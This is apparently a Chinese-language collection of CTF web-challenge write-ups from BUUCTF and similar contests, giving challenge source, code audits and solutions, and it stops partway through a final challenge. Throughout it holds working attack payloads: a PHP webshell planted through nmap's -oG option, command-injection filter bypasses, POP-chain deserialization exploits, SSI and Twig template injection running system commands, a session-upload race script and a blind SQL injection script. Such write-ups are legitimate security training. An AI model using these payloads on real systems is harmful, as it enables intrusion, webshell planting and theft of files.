echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

访问next.php页面

image-20260210235530824

payload

1
?id=1&\S*={${getFlag()}}&cmd=system("ls /");

image-20260210235537772

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码审计

1
2
3
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

检测代码中是否存在XFF,若存在则将$_SERVER[‘REMOTE_ADDR’]的值覆盖为XFF的值

1
2
3
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

对host参数的防护

  • escapeshellarg()函数

作用:将字符串用单引号包裹,并转义 字符串内的单引号,使其成为一个安全的 shell 参数

  • escapeshellcmd()函数

作用:转义 shell 中的特殊字符(如 & ;$ > < 等),使其失去特殊意义

1
2
3
4
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);

拼接字符串 glzjin + 客户端 IP,通过 md5 生成唯一的沙箱目录名

1
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

拼接 host 参数到 nmap 命令中,通过 system 函数执行命令,并输出执行结果

nmap命令参数说明

  • -T5:最快的扫描速度模板
  • -sT:TCP连接扫描
  • -Pn:跳过主机存活检测
  • –host-timeout 2:主机超时时间 2 秒
  • -F:快速扫描模式(扫描少量端口)

payload

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

nmap有一个参数-oG可以实现将命令和结果写到文件,
将一句话木马写入hack.php文件中,相当于传入一个木马文件,转义后的字符串在Bash中解析时,PHP代码部分会被当作普通参数传递给nmap,nmap的-oG选项允许将结果输出到文件,结合PHP标签可以创建webshell

访问e6305cd14dbe6e1fc4041d81cb3fc9ee/hack.php然后蚁剑连接

[NewStarCTF 公开赛赛道]So Baby RCE(将转义字符和/过滤)

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

payload

1
cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26c$!at${IFS}ffff$@llllaaaaggggg

忘了写名字了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');//利用点
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
public function __invoke()
{
echo file_get_contents('/flag');//利用点
}

利用点,__invoke()当作函数时可触发

1
2
3
4
public function __isset($var)
{
($this->func)();
}

作为函数,__isset($var)调用一个不存在的属性时触发

1
2
3
4
5
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}

调用了不存在的属性cmd,__clone()clone一个对象时触发

1
2
3
4
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}

clone $var[0];clone了一个对象,__call()调用一个不存在的方法时触发

1
2
3
4
5
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

调用了不存在的方法check,__toString()把对象当作字符串时触发

1
2
3
4
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

把对象当作字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
error_reporting(0);
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
public function __construct($func){
$this->func = $func;
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
public function __construct($obj,$var){
$this->obj = $obj;
$this->var = $var;
}


}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

$Sec = new Sec('1','2');

$Start = new Start($Sec);

$eeee = new eeee();
$eeee->obj=$Start;

$Easy = new Easy();

$Sec1 = new Sec($Easy,$eeee);

$Start1 = new Start('1');
$Start1->name=$Sec1;

echo urlencode(serialize($Start1));

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

代码审计

1
2
3
public function append($value){
include($value);
}

利用点,触发append(),执行include($value);实现任意文件读取

1
2
3
public function __invoke(){
$this->append($this->var);
}

触发__invoke()执行append(),传入的参数$this->var会被用作任意文件读取

__invoke()将对象调用作函数时触发

1
2
3
4
public function __get($key){
$function = $this->p;
return $function();
}

触发__get()将传入的p作为函数调用触发__invoke()

__get()需调用对象中不存在的属性触发

1
2
3
public function __toString(){
return $this->str->source;
}

利用__toString()方法,将$this->str的值赋为Test的对象,触发__get()

__toString()嘉能对象当作字符串时触发

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";


}

class Show{
public $source;
public $str;

}

class Test{
public $p;


}

$Modifier=new Modifier();

$Test=new Test();
$Test->p=$Modifier;

$Show=new Show();
$Show->source =$Show;
$Show -> str=$Test;

echo urlencode(serialize($Show));

image-20260210235639352

然后进行base64解码得到flag

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

代码审计

这里限制了长度,过滤了字母数字,想到可以用取反异或这些

解题步骤

先看一下禁用函数,将phpinfo取反

1
?code=(~%8F%97%8F%96%91%99%90)();

image-20260210235644799

常见的好像都被ban了

利用asseert构造脚本

1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>

image-20260210235649279

拼接构造payload:assert(eval($_POST[cmd]))

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

连接蚁剑

image-20260210235653818

看到了flag文件但是空的,又有readflag就想到可能设置了权限,需要绕过

image-20260210235657658

利用蚁剑中的插件绕过

image-20260210235701882

image-20260210235706806

然后点击开始,直接执行/readflag命令即可获得flag

image-20260210235711327

[De1CTF 2019]SSRF Me

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
except:
return "Connection Timeout"

def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): #将传入的字符串进行md5加密
return hashlib.md5(content).hexdigest()

def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

一个flask框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec())

/geneSign和/De1ta分别绑定不同函数,具有不同的功能

需要绕过self.checkSign()

需要满足 getSign(self.action, self.param) == self.sign (sign即cookie值)

就需要 hashlib.md5(secert_key + param + action).hexdigest() == self.sign

也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign

即我们需要得到**secert_key + ‘flag.txtreadscan’**的哈希值

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值

在/geneSign中将action定为scan,所以我们传入的param可以为flag.txtread这样依旧可以拼接为secert_key + ‘flag.txtreadscan’

payload1

1
/geneSign?param=flag.txtread

返回哈希值

62a40ef7cb1705cdde48e274b32b9053

payload2

1
/De1ta?param=flag.txt

bp抓包,修改cookie值

image-20260210235723851

sign的参数值为第一次payload返回的哈希值

[BJDCTF2020]EasySearch

用dirsearch扫描目录,扫到了/index.php.swp,访问看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

代码审计

1
$admin == substr(md5($_POST['password']),0,6

password的md5加密后前六位要与6d0bc1相同

用脚本运行一下

1
2
3
4
5
6
import hashlib

for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)

image-20260210235729667

构造payload

1
username=1&password=2020666

image-20260210235741616

获取url,访问页面

image-20260210235745663

这里考到了SSI注入(之前完全没听说过

**补充一下什么是SSI注入

SSI注入:服务端包含注入,可以赋予heml静态页面的动态效果,通过SSI执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在页面中发现了

1
2
3
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>

就容易产生SSI注入

这道题的url:public/008983a0140ea903583f643e1630eb5fbce59e11.shtml

最后存在shtml,则猜测有SSI注入

这里的注入格式为:

在可控参数用户名处输入可执行命令

payload(注:这里要在bp里面做)

1
username=<!--#exec+cmd="ls+../"+-->&password=2020666

image-20260210235800175

访问url

image-20260210235805416

得到flag文件名

payload

1
username=<!--#exec+cmd="cat+../flag_990c66bf85a09c664f0b6741840499b2 "+-->&password=2020666

image-20260210235809319

访问url得到flag

image-20260210235819124

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

代码审计

1
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

给出了白名单,仅允许使用PHP数学函数

可以利用白名单中的进制转换函数 (base_convert/hexdec/dechex/decbin等)

1
2
3
if (strlen($content) >= 80) {
die("太长了不会算");
}

有长度限制

这里需要用到PHP动态调用函数值,GET传参的外部赋值以及PHP数学函数的运用

构造原始payload

1
$p=(_GET[p1])(_GET[p2]);($$p{p1})($$p{p2})&p1=system&p2=ls;

但需要利用数学函数进行一些进制转换

最终payload

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls

base_convert(37907361743,10,36)表示system

(dechex(1598506324))表示_GET

system(_GET)无实际执行意义,PHP会将表达式结果(字符串_GET)赋值给$pi,最终表示的是$pi=”_GET”

($$pi{pi})($$pi{pow})等价于_GET{pi}(PHP中{}和[]取值完全等效)

然后就是结合GET传参 $_GET{pi}=system,$_GET{pow}=ls

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls$IFS/

image-20260210235846529

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=nl$IFS/flag

[BJDCTF2020]Cookie is so stable

这里查看配置和cookie

image-20260210235858269

可以在其中看到PHP版本

测试了49发现存在SSTI模板注入

image-20260210235902661

因为是PHP版本,所以可以尝试Twig模板注入

1
user={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}}

image-20260210235914547

image-20260210235924777

[网鼎杯 2018]Fakebook

一开始有登录和join选择,一开始看了登陆界面,尝试了万能密码,字典爆破都没用,然后看了join界面,也都尝试了没反应,就想试试爬虫协议(但是wp里说这个是可以目录扫描扫出来的,但我又没扫出来。。。)

image-20260210235929223

image-20260210235933411

看到了源码,是一道反序列化的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

代码审计

1
$output = curl_exec($ch);

function get中用了curl_exec(),可能存在SSRF漏洞

1
2
3
4
5
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

正则匹配是url,可知 blog的参数必须为url

[NPUCTF2020]ezinclude

image-20260210235939178

查看源码看到提示是md5,参数是name和pass,bp抓包

image-20260210235942955

看到Cookie中存在hash值,先尝试传参name=1

image-20260210235947662再传参pass,把这个hash值作为值

image-20260210235951961

看到题目描述为include,尝试利用伪协议发现filter、data、input这些都不能用,日志文件包含需要服务器是Nginx所以也不能用,最后就剩session文件包含

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# coding=utf-8
import io
import requests
import threading

# 目标URL
target_url = "http://e8451baf-2c21-4349-9b8a-c2d43398e0af.node5.buuoj.cn:81/flflflflag.php"
# 自定义SESSIONID
sessid = 'exp'
# 要执行的命令
# data = {"cmd": "system('ls');"}

# 持续向服务器发送请求
def write(session):
while True:
# 创建一个50KB的内存文件
f = io.BytesIO(b'a' * 1024 * 50)
# 向目标URL发送请求
resp = session.post(
target_url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php phpinfo();?>'},#如果要执行命令这里就是eval
# 模拟上传文件,触发PHP_SESSION_UPLOAD_PROGRESS处理
files={'file': ('test.txt', f)},#注意这里的参数可能需要修改
# 设置PHPSESSID
cookies={'PHPSESSID': sessid}
)

# 持续尝试触发并读取命令执行结果
def read(session):
while True:
# 尝试读取/tmp下创建的会话文件sess_exp
resp = session.post(
target_url+ '?file=/tmp/sess_' + sessid,#参数名可能要修改
# data=data
)
# 如果响应中包含test.txt,说明命令执行成功,打印结果并清除事件标志
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")

# 多线程进行条件竞争
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

执行成功image-20260210235959723

[GWCTF 2019]枯燥的抽奖

image-20260211000004968

这里考的是伪随机数,已知了前十位 vpy8bxfY07,利用脚本将它变成php_mt_seed工具可识别的

脚本

1
2
3
4
5
6
7
8
9
10
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'vpy8bxfY07'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

image-20260211000010105

再利用php_mt_seed工具对种子进行爆破

1
time ./php_mt_seed 21 21 0 61 15 15 0 61 24 24 0 61 34 34 0 61 1 1 0 61 23 23 0 61 5 5 0 61 60 60 0 61 26 26 0 61 33 33 0 61

image-20260211000014495

爆破成功后要注意php版本,这里可以利用小皮,它可以修改php版本,然后利用脚本运行

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(333044964);//爆破出的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;//需根据题目进行修改
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

运行结果

1
vpy8bxfY07RRPWy5rIBQ

image-20260211000018860

[CISCN2019 华北赛区 Day2 Web1]Hack World

输入union联合注入语句,布尔值返回为false,可能union被过滤,同样输入空格也被过滤,只有输入1,2有回显,可以判断可能是布尔盲注

image-20260211000022918

已经给出表名和字段名

bp抓包

payload

1
id=if((ascii(substr((select(flag)from(flag)),1,1))=102),sleep(3),1)

image-20260211000026518

这里有延迟回显,接下来测试是否是时间盲注

image-20260211000031059

回显了hello……并没有延迟,那么时间盲注可以尝试

用脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

url='http://028d683f-3868-4642-b703-3cbe1a6fac27.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
n = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(n)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello' in str(r.content):
min=n
else:
max=n
if((max-min)<=1):
flag+=chr(max)
print("\r", end="")
print(flag,end='')
break

[GXYCTF2019]禁止套娃

image-20260211000036184

什么都没有,就要信息收集,想到有可能是git泄露

1
python3 GitHack.py  http://1ba0ff10-6781-4a48-b2f8-7c5d8a56d057.node5.buuoj.cn:81/.git/

image-20260211000040367

考的是无参RCE

payload

1
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

image-20260211000100570

[WUSTCTF2020]朴实无华

image-20260211000104827

看到标签有一个rot就想到爬虫试一下

image-20260211000108440

但是只有fakeflag的文件

image-20260211000112346

bp抓包访问发现了/fl4g.php

image-20260211000117343

修改编码方式能看到中文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

代码审计

1
if(intval($num) < 2020 && intval($num + 1) > 2021)

num要取小于2020且+1大于大于2021的,这个之前遇到过就想到用科学计数法绕过

1
2
3
4
num=12e3
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))

要求输入的值与它的MD5值相同

1
md5=0e215962017

前面的都绕过之后,执行命令

payload

1
?num=12e3&md5=0e215962017&get_flag=ls

image-20260211000124325

用cat fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag发现没有回显flag,想到可能有过滤

payload

1
?num=3e4&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20260211000131225

image-20260211000135519

返回了0,有点像XXE,在请求头前面添加xml语言测试发现就是XXE

image-20260211000139857

直接读flag

image-20260211000143850

[WesternCTF2018]shrine

看到源码

1
2
3
4
5
6
7
8
import flask
import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/') def index(): return open(__file__).read()
@app.route('/shrine/') def shrine(shrine):
def safe_jinja(s): s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)

这里推测flag在名为FLAG的config中,但是这里有黑名单过滤了config

存在config的函数只有url_for和get_flashed_messages

payload

1
/shrine/{{url_for.__globals__}

查看全局变量,其中找到了current.app

image-20260211000149651

payload

1
/shrine/{{url_for.__globals__['current_app'].config}}

image-20260211000153827

[安洵杯 2019]easy_web

image-20260211000157619

发现参数中img有对应的值像编码,通过两次base64解码和一次hex解码得到

image-20260211000201692

